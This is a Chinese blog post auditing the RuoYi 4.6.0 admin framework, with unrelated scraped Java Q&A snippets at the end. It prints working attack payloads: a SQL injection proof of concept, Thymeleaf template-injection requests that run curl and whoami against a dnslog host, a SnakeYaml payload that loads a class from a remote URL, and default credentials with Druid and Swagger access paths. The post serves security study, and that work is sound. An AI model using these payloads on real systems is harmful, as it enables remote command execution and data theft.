代码审计之若依系统

2023-11-09


前言

      若依是一套全部开源的快速开发平台,在日常工作中也会遇到很多若依搭建的网站,或者基于若依二开的网站,因为是以学习为目的,所以选择低版本下载,未选择最高版本,本文搭建版本是4.6.0版本,源码可以访问链接下载:https://gitee.com/y_project/RuoYi/releases。


一、本地项目部署

     1)项目下载完解压后为下图所示:
在这里插入图片描述
     2)因为该框架采用了SpringBoot,所以只需要导入数据库即可。本文项目使用phpstudy开启mysql5。
在这里插入图片描述
     3)连接数据库。
在这里插入图片描述
     4)创建ruoyi数据库并使用。
在这里插入图片描述
     5)将sql文件夹中的quartz.sql和ry_20201214.sql两个文件导入到ruoyi数据库中,注意使用正斜杠。
在这里插入图片描述
在这里插入图片描述
     6)使用IDEA打开若依系统,等待Maven自动加载依赖项,如果pom.xml文件有报错,依赖未成功安装,可如下图查看maven配置如何,可能是没有配置好maven环境。
在这里插入图片描述
     7)项目结构如下所示:
在这里插入图片描述
     8)若依模块简述。

模块名称 简述
ruoyi-admin 启动模块,启动配置在resource的yml下
ruoyi-framework 主题框架模块,框架怎么运行的仔细看看,这个是核心重点
ruoyi-system 业务模块,几乎所有业务都在这里
ruoyi-quartz 定时任务模块,跑的定时任务基本都在这里
ruoyi-generator 基础公共表的操作,相当于基础表和基础业务存放位置
ruoyi-common 公共代码模块,list转set什么的一般放这里,自己不要瞎写方法,公共的都放这里

     9)配置若依系统。
在这里插入图片描述
     10)在application.yml中路径可自己修改,端口也是可以修改,嫌麻烦默认也可以。
在这里插入图片描述
     11)在application-druid.yml中配置数据库账号密码还有把3306后边的 ry 改成 ruoyi,因为刚刚创建数据库的名字是ruoyi。
在这里插入图片描述
     12)启动项目。
在这里插入图片描述
     13)访问项目,本文项目地址为:http://127.0.0.1:25001/login,若依系统的账号密码为:admin/admin123 或 ry/admin123,若依系统默认是记住账号口令,所以搭建完成时最好记得删除,否则可能就会有人报漏洞了!!!
在这里插入图片描述

二、漏洞挖掘

1.整理思路

     由于是菜鸟,所以目前对采用sprintboot框架审计的思路是,先看pom.xml文件看看是否存在有漏洞的组件,然后可以再去系统的功能点做黑盒测试,在看代码片段。

2.shiro反序列化漏洞

     1)发现shiro组件,shiro常见的两个漏洞:一个是默认秘钥,一个是权限绕过。
      AES秘钥在1.2.4版本及之前版本是硬编码在代码里的,可以通过GitHub开源的shiro代码获取AES密钥。1.2.5版本以后shiro提供了AES密钥的随机生成代码,但是如果仅进行shiro的版本升级,AES密钥仍硬编码在代码中,仍然会存在反序列化风险。
      权限绕过影响的版本是小于1.8.0,本文中shiro组件版本为:1.7.0。实际工作中有的开发可能就会不自己生成key,而使用随机生成的,所以可用反序列化工具爆破一波默认密钥,本文搭建的环境没有更改所以存在默认key。
在这里插入图片描述
     2)代码审计中可以全局搜索:setCipherKey,因为 setCipherKey 方法是修改密钥的。查看是否存在,存在就说明有默认key,本次项目存在。
在这里插入图片描述
     3)如果想要查看具体的密钥值,可在全局搜索:cipherKey,就会发现具体的密钥值是什么。
在这里插入图片描述
     4)权限绕过漏洞在代码审计中,可在项目中找到shiro的配置文件,然后找到shiro的过滤器配置文件。
在这里插入图片描述
     5)shiro过滤器中,anon表示匿名访问也就是无需认证即可访问,authc表示需要认证才可访问,所以我们可以看下有没有authc,是否可能存在未授权访问的问题。
在这里插入图片描述
     6)可以发现当前项目中设置了所有请求需要认证,所以不存在权限绕过漏洞,关于URL的匹配规则可看总结中的第二点。
在这里插入图片描述

2.SQL注入

     1)漏洞点为系统管理中的角色管理的搜索功能,使用百度搜索的poc,发现注入点参数为:params[dataScope]。

POC:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and
extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))

在这里插入图片描述
     2)通过网上的POC我们已知注入点了,在审计一下看看。SpringBoot中的SQL注入一般都是因为使用了 $ 的原因。可以全局搜索 $ 并匹配 .xml 文件类型,快速查看是否存在SQL注入,发现前端多个位置存在这个注入点。
在这里插入图片描述
     3)那就选择第一个先跟一下流程吧,现在是在resources中的SysDeptMapper.xml文件中。
在这里插入图片描述
     4)找到 id 然后按住ctrl+左键进入到dao(mapper)层。
在这里插入图片描述
     5)继续在 selectDeptList 上按住ctrl+左键往上,跟看谁调用的,会发现有四个选择第四个肯定不是了,从那来的,另外三个都在一个文件中,随便选择一个吧。
在这里插入图片描述
     6)来到serveice层,根据注释和代码发现,第一处是查询部门数据,也知道是在部门管理的功能处
在这里插入图片描述
     7)继续跟 selectDeptList 进入 controller 层,发现最终前端调用处为调用列表的相关功能,比如搜索,刷新等操作,路径为/system/dept/list,请求方式为post。
在这里插入图片描述
在这里插入图片描述

3.Thymeleaf模板注入

     1)先复现一下漏洞,此漏洞需要登录,先用dnslog获取一个域名。
在这里插入图片描述

     2)给payload编码一下,选URL编码。

${T (java.lang.Runtime).getRuntime().exec("curl mvu60v.dnslog.cn")}

在这里插入图片描述

     3)登入若依系统,打开HackBar,或者抓包都行,添加pyload,加上cookie,不加cookie的话dnslog无法接到请求。

http://192.168.231.1:25001/monitor/cache/getNames?fragment=header(%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%6d%76%75%36%30%76%2e%64%6e%73%6c%6f%67%2e%63%6e%22%29%7d)

在这里插入图片描述
     4)这里需要多点几次,然后成功接到请求。由于是500界面没有回显,后来就尝试了一下dnslog外带,命令执行,结果发现不行。
      dnslog外带命令:

${T (java.lang.Runtime).getRuntime().exec("curl `whoami`.mvu60v.dnslog.cn")}

在这里插入图片描述

4.SnakeYaml 反序列化

     1)定时任务处存在RCE漏洞,可以反弹shell,先用dnslog验证一下,先获取一个dnslog的域名。
在这里插入图片描述
     2)然后登录系统,系统监控—定时任务处,选择新增,dnslog域名换成自己获取的,其他随意填写,然后确认。

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://a85o5r.dnslog.cn/"]]]]')

在这里插入图片描述
     3)然后选择更多操作—执行一次,查看dnslog是否有响应。
在这里插入图片描述
     4)发现成功响应。
在这里插入图片描述
     5)代码审计时正常查看所有的pom.xml文件,如果存在snakeyaml依赖包就可以尝试snakeyaml反序列化漏洞,本文可全局搜索:snakeyaml依赖包。
在这里插入图片描述
     6)如果只是引用了snakeyaml包不能百分百保证存在反序列化漏洞,也可能在序列化时做了一些防护措施,比如把每个 !! 修饰过的类都转成了一个 TAG,这时可全局搜索查看是否有tag:yaml.org,2002:,没有就存在反序列化漏洞。一般SnakeYaml对Java对象进行序列化或反序列化都会出现如下所示格式,所以就全局搜索 yaml ,查看是否有类似下面格式的,可以发现不光有下面的格式还有yaml.dump和yaml().load()函数。

  Yaml yaml = new Yaml();

在这里插入图片描述

     7)点进去可以看到这里进行了序列化,并且全局搜索也没有tag:yaml.org,2002:,所以存在反序列化漏洞。
在这里插入图片描述

5.Druid未授权访问

     1)若依系统内置了Druid,所以会有可能有未授权访问或者弱口令,未授权访问路径常见的有 /druid/,/prod-api/druid/,/api/druid/等,这是常见的,也可以直接扫一波,弱口令就是 ruoyi/123456 或者 admin/123456。
在这里插入图片描述
     2)审计时可直接搜索druid,并查看路径位置。
在这里插入图片描述

6.swagger-ui.html接口文档

     1)这个一般就是使用相关工具或者字典扫一下,然后try it out试试看,是否路径都做了鉴权,有没有信息泄露等。
在这里插入图片描述
     2)点击try it out 然后构造参数之后,再点击execute执行,拼接路径。
在这里插入图片描述
     3)造成信息泄露,获取账号密码。
在这里插入图片描述
     4)审计的话就全局搜索:swagger-ui.html,存在的话看下路径然后访问下,看看有没有鉴权什么的。
在这里插入图片描述

三、总结

1.Fastjson反序列化

     1)本文搭建的环境为:1.2.74,Fastjson <= 1.2.68 都是存在漏洞的,关于Fastjson v1.2.80 绕过的文章很少,所以就先放弃学习吧。
     2)Fastjson 通过函数 parse 或者 parseObject 来完成字符串的反序列化操作,并且可以通过 @type 来指定反序列化的类型,,所以在遇见1.2.68以下版本时,可全局查找这两个关键函数。

2.shiro反序列化

     1)简单梳理下基础内容,Apache Shiro是一个执行身份验证、授权、密码和会话管理的Java安全框架。
      Shiro反序列化的目的是为了让浏览器或服务器重启后用户不丢失登录状态,因为Shiro 支持将持久化信息序列化,并且加密后可以保存在 Cookie 的 rememberMe 字段中,方便下次读取时进行解密再反序列化。
      反序列化漏洞的原理是因为Shiro内置了一个默认且固定的加密 Key,可被攻击者通过伪造的rememberMe Cookie去触发反序列化漏洞,过程为:Cookie获取rememebrMe值->base64解码->AES解密->反序列。
      在高版本中如果开发者没有手动设置密钥那么每次服务启动时都会随机生成一个密钥,本文搭建的环境就存在。
     2)shiro中的url匹配规则为:

/admin 只匹配固定的URL,比如 http://xxx.com/admin,只能匹配到 http://xxx.com/admin
/admin? 匹配一个字符,比如 http://xxx.com/admin?,将匹配“ /admin1”、“/admin2”,但不匹配“/admin”
/* 匹配零个或多个字符串,比如 http://xxx.com/admin/*”,将匹配 /admin/路径下的任意内容 ,但是不匹配多个路径,如 http://xxx.com/admin/1/2就匹配不到
/** 匹配路径中的零个或多个路径 ,比如http://xxx.com/admin/**,将匹配/admin/下级的所有路径中的内容,http://xxx.com/admin/xxxx/asd

3.SQL注入

     1)${ }和#{ }的区别如下:

#{ } 相当于jdbc中的preparedstatement,传入的字符串,需要赋值后使用,可以有效防止sql注入。
$ { } 是输出变量的值,传入的变量,可直接拼接在sql中执行,无法防止sql注入。

      就是 #{ } 传过来的参数带单引号的,而${ }传过来的参数不带单引号。
     2)在SpringBoot框架中,通常流程是controller层接收前端请求然后调用service层,serveice层的业务逻辑去调用dao访问数据库做增删改查操作,dao在调用sources中的对应的.xml文件做具体的SQL语句,sql语句都是在.xml文件中写的,而不是在Java代码中直接利用connection连接数据库进行查询,这样层次更清晰,代码也更容易维护。因为具体的SQL语句都在.xml文件中,所以可以在.xml文件中搜索 $ 符号,快速寻找是否存在SQL注入漏洞。

4.SnakeYaml反序列化

     1)SnakeYaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。而若依后台管理系统使用了snakeyaml 的jar包,可以通过定时任务功能构造payload远程调用jar包,从而执行任意命令。
     2)Yaml.dump():把yaml格式的数据序列化变为YAML字符串或者YAML流,Yaml.load()反序列化生成java对象。
     3)!! 是用于强制类型转化,强制转换为!!后指定的类型,类似于fastjson中的@type用于指定反序列化的全类名。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

代码审计之若依系统 的相关文章

  • 使用 JDBC 获取 Oracle 11g 的最后插入 ID

    我是使用 Oracle 的新手 所以我将放弃之前已经回答过的内容这个问题 https stackoverflow com questions 3131064 get id of last inserted record in oracle
  • 获取文件的锁

    我想在对特定文件开始 threo read 时获取文件上的锁定 以便其他应用程序无法读取已锁定的文件并希望在线程终止时释放锁定文件 您可以获得一个FileLock https docs oracle com javase 8 docs ap
  • 如何在 Openfire 中使用 smack

    你好 我计划开发一个可以连接到 gtalk facebook 等的聊天客户端 我决定将 smack API 与 openfire 一起使用 但我需要很少的指导来了解如何将它与 openfire 服务器一起使用 openfire 是否提供了基
  • 当路径的点超出视野时,Android Canvas 不会绘制路径

    我在绘制路径时遇到了 Android Canvas 的一些问题 我的情况是 我有一个相对布局工作 如地图视图 不使用 google api 或类似的东西 我必须在该视图上绘制一条路径 canvas drawPath polyPath bor
  • 文本在指定长度后分割,但不要使用 grails 打断单词

    我有一个长字符串 需要将其解析为长度不超过 50 个字符的字符串数组 对我来说 棘手的部分是确保正则表达式找到 50 个字符之前的最后一个空格 以便在字符串之间进行彻底的分隔 因为我不希望单词被切断 public List
  • 删除优先级队列的尾部元素

    如何删除优先级队列的尾部元素 我正在尝试使用优先级队列实现波束搜索 一旦优先级队列已满 我想删除最后一个元素 优先级最低的元素 Thanks 没有简单的方法 将元素从原始元素复制到新元素 最后一个除外 PriorityQueue remov
  • 您建议使用哪种压缩(GZIP 是最流行的)servlet 过滤器?

    我正在寻找一个用于大容量网络应用程序的 GZIP servlet 过滤器 我不想使用容器特定的选项 要求 能够压缩响应负载 XML Faster 已在大批量应用的生产中得到验证 应适当设置适当内容编码 跨容器移植 可选择解压缩请求 谢谢 我
  • Android蓝牙java.io.IOException:bt套接字已关闭,读取返回:-1

    我正在尝试编写一个代码 仅连接到运行 Android 5 0 KitKat 的设备上的 目前 唯一配对的设备 无论我尝试了多少方法 我仍然会收到此错误 这是我尝试过的最后一个代码 它似乎完成了我看到人们报告为成功的所有事情 有人能指出我做错
  • 如何使用正则表达式验证 1-99 范围?

    我需要验证一些用户输入 以确保输入的数字在 1 99 范围内 含 这些必须是整数 Integer 值 允许前面加 0 但可选 有效值 1 01 10 99 09 无效值 0 007 100 10 5 010 到目前为止 我已经制定了以下正则
  • 从休眠乐观锁定异常中恢复

    我有一个这样的方法 Transactional propagation Propagation REQUIRES NEW public void doSomeWork Entity entity dao loadEntity do some
  • 通过 appassembler-maven-plugin 生成的脚本无法在 Spring Boot 应用程序中找到主类

    我使用 appassembler maven plugin 生成的启动脚本有问题 我有一个基本的 spring boot 应用程序 只有一个类 SpringBootApplication public class ScriptDemoApp
  • 用于缓存的 Servlet 过滤器

    我正在创建一个用于缓存的 servlet 过滤器 这个想法是将响应主体缓存到memcached 响应正文由以下方式生成 结果是一个字符串 response getWriter print result 我的问题是 由于响应正文将不加修改地放
  • 如何通过 Android 按钮单击运行单独的应用程序

    我尝试在 Android 应用程序中添加两个按钮 以从单独的两个应用程序订单系统和库存系统中选择一个应用程序 如图所示 我已将这两个应用程序实现为两个单独的 Android 项目 当我尝试运行此应用程序时 它会出现直到正确选择窗口 但是当按
  • Java - 从 XML 文件读取注释

    我必须从 XML 文件中提取注释 我找不到使用 JDOM 或其他东西来让它们使用的方法 目前我使用 Regex 和 FileReader 但我不认为这是正确的方法 您可以使用 JDOM 之类的东西从 XML 文件中获取注释吗 或者它仅限于元
  • Karaf / Maven - 无法解决:缺少需求 osgi.wiring.package

    我无法在 Karaf 版本 3 0 1 中启动捆绑包 该包是使用 Maven 构建的并导入gson http mvnrepository com artifact com google code gson gson 2 3 1 我按照要求将
  • 替换文件中的字符串

    我正在寻找一种方法来替换文件中的字符串而不将整个文件读入内存 通常我会使用 Reader 和 Writer 即如下所示 public static void replace String oldstring String newstring
  • 源值 1.5 的错误已过时,将在未来版本中删除

    我使用 scala maven plugin 来编译包含 scala 和 java 代码的项目 我已经将源和目标设置为1 7 但不知道为什么maven仍然使用1 5 这是我在 pom xml 中的插件
  • ECDH使用Android KeyStore生成私钥

    我正在尝试使用 Android KeyStore Provider 生成的私有文件在 Android 中实现 ECDH public byte ecdh PublicKey otherPubKey throws Exception try
  • 何时在 hibernate 中使用 DiscriminatorValue 注解

    在 hibernate 中使用 DiscriminatorValue 注释的最佳场景是什么以及何时 这两个链接最能帮助我理解继承概念 http docs oracle com javaee 6 tutorial doc bnbqn html
  • 使用 JFreeChart 为两个系列设置不同的 y 轴

    我正在使用 JFreeChart 使用折线图绘制两个数据系列 XYSeries 复杂的因素是 其中一个数据系列的 y 值通常远高于第二个数据系列的 y 值 假设第一个系列的 y 值约为数百万数量级 而第二个数据系列的 y 值约为数百万数量级

随机推荐

  • Python+Selenium+phantomjs实现网页模拟登录和截图

    Python Selenium phantomjs实现网页模拟登录和截图 本文全部操作均在windows环境下 安装 Python Python是一种跨平台的计算机程序设计语言 它可以运行在Windows Mac和各种Linux Unix系
  • C++ Primer 学习笔记 第十章 泛型算法

    标准库容器很小 并未给每个容器添加大量功能 而是提供了一组算法 这些算法大多数都独立于任何特定的容器 这些算法是通用的 或者说是泛型的 generic 可用于不同类型容器和元素 大多数泛型算法定义在头文件algorithm中 头文件numb
  • Linux 用户管理

    一 useradd命令 创建普通用户的 语法 c lt 备注 gt 加上备注文字 备注文字会保存在passwd的备注栏位中 d lt 登入目录 gt 指定用户登入时的启始目录 D 变更预设值 e lt 有效期限 gt 指定帐号的有效期限 f
  • ETL工具——kettle实现简单的数据迁移

    文章目录 1 Kettle概念 2 安装与启动 3 常用组件 4 具体案例 4 1 数据库连接 3 2 sql脚本 3 3 表输入 3 4 字段选择 3 5 表输出 1 Kettle概念 Kettle是一款国外开源的ETL工具 纯java编
  • pnPm——比npm&yarn更胜一筹的包管理器

    官网 Fast disk space efficient package manager pnpm 安装 在 POSIX 系统上 即使没有安装 Node js 也可以使用以下脚本安装 pnpm curl fsSL https get pnp
  • 常用的编译器(不限制编程语言、不限制平台)

    在提到这个问题之前我们应该了解编译器是什么 简单来说 编译器就是将一种语言 通常为高级语言 翻译为另一种语言 通常为低级语言 的程序 一个现代编译器的主要流程有 源代码 gt 预处理器 gt 编译器 gt 目标代码 gt 链接器 gt 可执
  • Spring Cloud Hystrix

    服务容错保护 Spring Cloud Hystrix 在微服务的架构中 存在着很多的服务单元 若一个单元出现故障 就很容易因依赖关系而引发故障蔓延 最终导致整个系统瘫痪 这样的架构相较传统的架构更加不稳定 为了解决这样的问题 产生了断路器
  • Java IO流(FileReader,FileWriter)讲解

    FileReader和FileWriter类是用来读取 写入字符文件的便捷类 使用FileReader FileWriter 可以实现文本文件的复制 对于非文本文件 视频文件 音频文件 图片 只能使用字节流 字符输入流 FileReader
  • Linux脚本练习之script061-输出7的倍数

    script061 题目 题目来源于 SHELL3 输出7的倍数 写一个 bash 脚本以输出数字 0 到 500 中 7 的倍数 0 7 14 21 的命令 脚本一 seq 命令可以输出数字序列 请参考 Linux命令之产生序列化数seq
  • linux之sed用法

    sed是一个很好的文件处理工具 本身是一个管道命令 主要是以行为单位进行处理 可以将数据行进行替换 删除 新增 选取等特定工作 下面先了解一下sed的用法 sed命令行格式为 sed nefri command 输入文本 常用选项 n 使用
  • datagridview数据清空

    处理关于datagridview数据清空问题 尝试后总结 1 程序dt值为空 DataTable dt DataTable dataGridView1 DataSource dt Rows Clear dataGridView1 DataS
  • redis中hashtable 的 rehash/ resizing 策略

    依赖于连续存储的数据结构 具体的 就是依赖array 都有一个resizing问题 对于vector 一般的策略就是满的时候double and copy 降到1 4时候 halve and copy Hashtable也可以这么做 均摊的
  • cloudify学习小结

    参考 http docs getcloudify org 3 4 0 installation from packages http docs getcloudify org 3 4 0 manager bootstrapping clou
  • 【财富空间】卡耐基梅隆首席科学家大卫·伯恩:机器人学与商业机遇

    本文转载自中国人工智能学会 ID CAAI 1981 2017年12月11日 国际知名机器人专家 美国卡耐基梅隆大学机器人研究所所长马歇尔 赫伯特 Martial Hebert 教授和首席科学家大卫 伯恩 David Bourne 教授访问
  • 用animation实现弹框或图片的淡入淡出效果

    CSS部分 skin modal body dl float left padding 5px animation skin 2s keyframes skin 0 opacity 0 25 opacity 0 5 50 opacity 1
  • CCF-CSP 202206-3 角色授权 Java满分题解

    严格按照题意模拟 User类type字段表示用户 用户组 使用一个Map存User所对应的role列表先实现通过role来鉴权 再遍历role列表即可 import java util class Role String roleName
  • mysql之常见函数(单行函数)09

    1 常见函数 单行函数 进阶4 常见函数 这里代表单行函数 概念 类似于java的方法 将一组逻辑语句封装在方法体中 对外暴露方法名 好处 1 隐藏了实现细节 2 提高代码的重用性 调用 select 函数名 实参列表 from 表 特点
  • MFC中实现用DC画线

    void CDrawView OnLButtonDown UINT nFlags CPoint point TODO Add your message handler code here and or call default Messag
  • 9-组件扫描(注解开发)

    组件扫描 component scanning Spring 能够从 classpath 下自动扫描 侦测和实例化具有特定注解的组件 特定组件包括 Component 基本注解 标识了一个受 Spring 管理的组件 Respository
  • 代码审计之若依系统

    文章目录 前言 一 本地项目部署 二 漏洞挖掘 1 整理思路 2 shiro反序列化漏洞 2 SQL注入 3 Thymeleaf模板注入 4 SnakeYaml 反序列化 5 Druid未授权访问 6 swagger ui html接口文档